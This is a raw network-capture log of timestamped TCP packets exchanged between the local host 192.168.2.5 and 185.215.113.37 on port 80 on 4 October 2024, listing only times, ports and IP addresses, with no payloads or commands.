Oct 4, 2024 05:45:07.582391977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582406044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582420111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582432985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582442999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582457066 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582472086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582485914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582499981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582511902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582525015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582540035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582562923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582572937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582572937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582572937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582572937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582572937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582572937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582572937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582577944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582592010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582607031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582616091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582628965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582634926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582643986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582657099 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582660913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582683086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582695961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582698107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582712889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582722902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582736015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582750082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:07.582758904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.582808018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.857765913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:07.862888098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085197926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085257053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085272074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085283041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085289955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085305929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085319996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085325956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085335016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085361958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085376024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085381031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085392952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085406065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085407019 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085421085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085438013 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085445881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085468054 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085468054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085489988 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085496902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085517883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085524082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085531950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085545063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085561991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085571051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085575104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085589886 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085608006 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085609913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085624933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085647106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085663080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085665941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085675955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085700035 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085701942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085716963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085728884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085731983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085747004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085750103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085769892 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085784912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085789919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085799932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085819006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085834980 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085851908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085851908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085855961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085871935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085882902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085922956 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085942984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085968018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085983038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.085990906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.085998058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086010933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086013079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086034060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086057901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086062908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086074114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086107016 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086111069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086126089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086139917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086139917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086154938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086162090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086180925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086186886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086219072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086226940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086234093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086257935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086265087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086272955 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086297035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086301088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086312056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086328030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086335897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086343050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086374998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086380959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086395979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086409092 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086410999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086424112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086447954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086477041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086496115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086508036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086522102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086534977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086546898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086560011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086574078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086580992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086586952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086616039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086630106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086638927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086653948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086668968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086673975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086683035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086695910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086695910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086709976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086721897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086726904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086747885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086751938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086766958 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086782932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086783886 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086805105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086821079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086823940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086836100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086859941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086860895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086873055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086884975 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086886883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086901903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086919069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.086926937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086962938 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.086977959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087017059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087018967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087032080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087054968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087059021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087068081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087080002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087110996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087148905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087163925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087178946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087191105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087193012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087208033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087229967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087266922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087270021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087282896 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087296963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087310076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087311029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087323904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087341070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087352037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087377071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087402105 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087409973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087428093 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087450027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087464094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087465048 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087477922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087487936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087511063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087516069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087531090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087531090 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087547064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087558031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087569952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087582111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087584019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087599039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087616920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087620974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087631941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087641954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087666988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087682009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087688923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087694883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087724924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087744951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087749004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087763071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087775946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087788105 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087798119 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087811947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087826014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087827921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087841034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087853909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087862968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087903976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087908030 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087915897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087929964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087954998 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.087965012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087980032 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.087994099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.088005066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.088048935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.173914909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.173988104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174022913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174082041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174133062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174185991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174236059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174243927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174243927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174243927 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174278021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174288988 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174295902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174340963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174345970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174391031 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174395084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174442053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174443007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174472094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174491882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174519062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174521923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174552917 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174570084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174602985 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174603939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174653053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174655914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174681902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174701929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174729109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174731970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174786091 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174801111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174818993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174835920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174850941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174869061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174882889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174901009 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174931049 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.174932003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174983025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.174983978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175015926 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175034046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175064087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175065041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175096035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175113916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175127983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175151110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175174952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175177097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175208092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175221920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175241947 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175257921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175290108 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175291061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175339937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175340891 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175370932 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175399065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175431967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175457954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175491095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175508022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175540924 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175543070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175574064 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175591946 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175606966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175625086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175654888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175656080 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175688982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175705910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175718069 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 4, 2024 05:45:08.175738096 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175766945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 4, 2024 05:45:08.175766945 CEST	80	49704	185.215.113.37	192.168.2.5
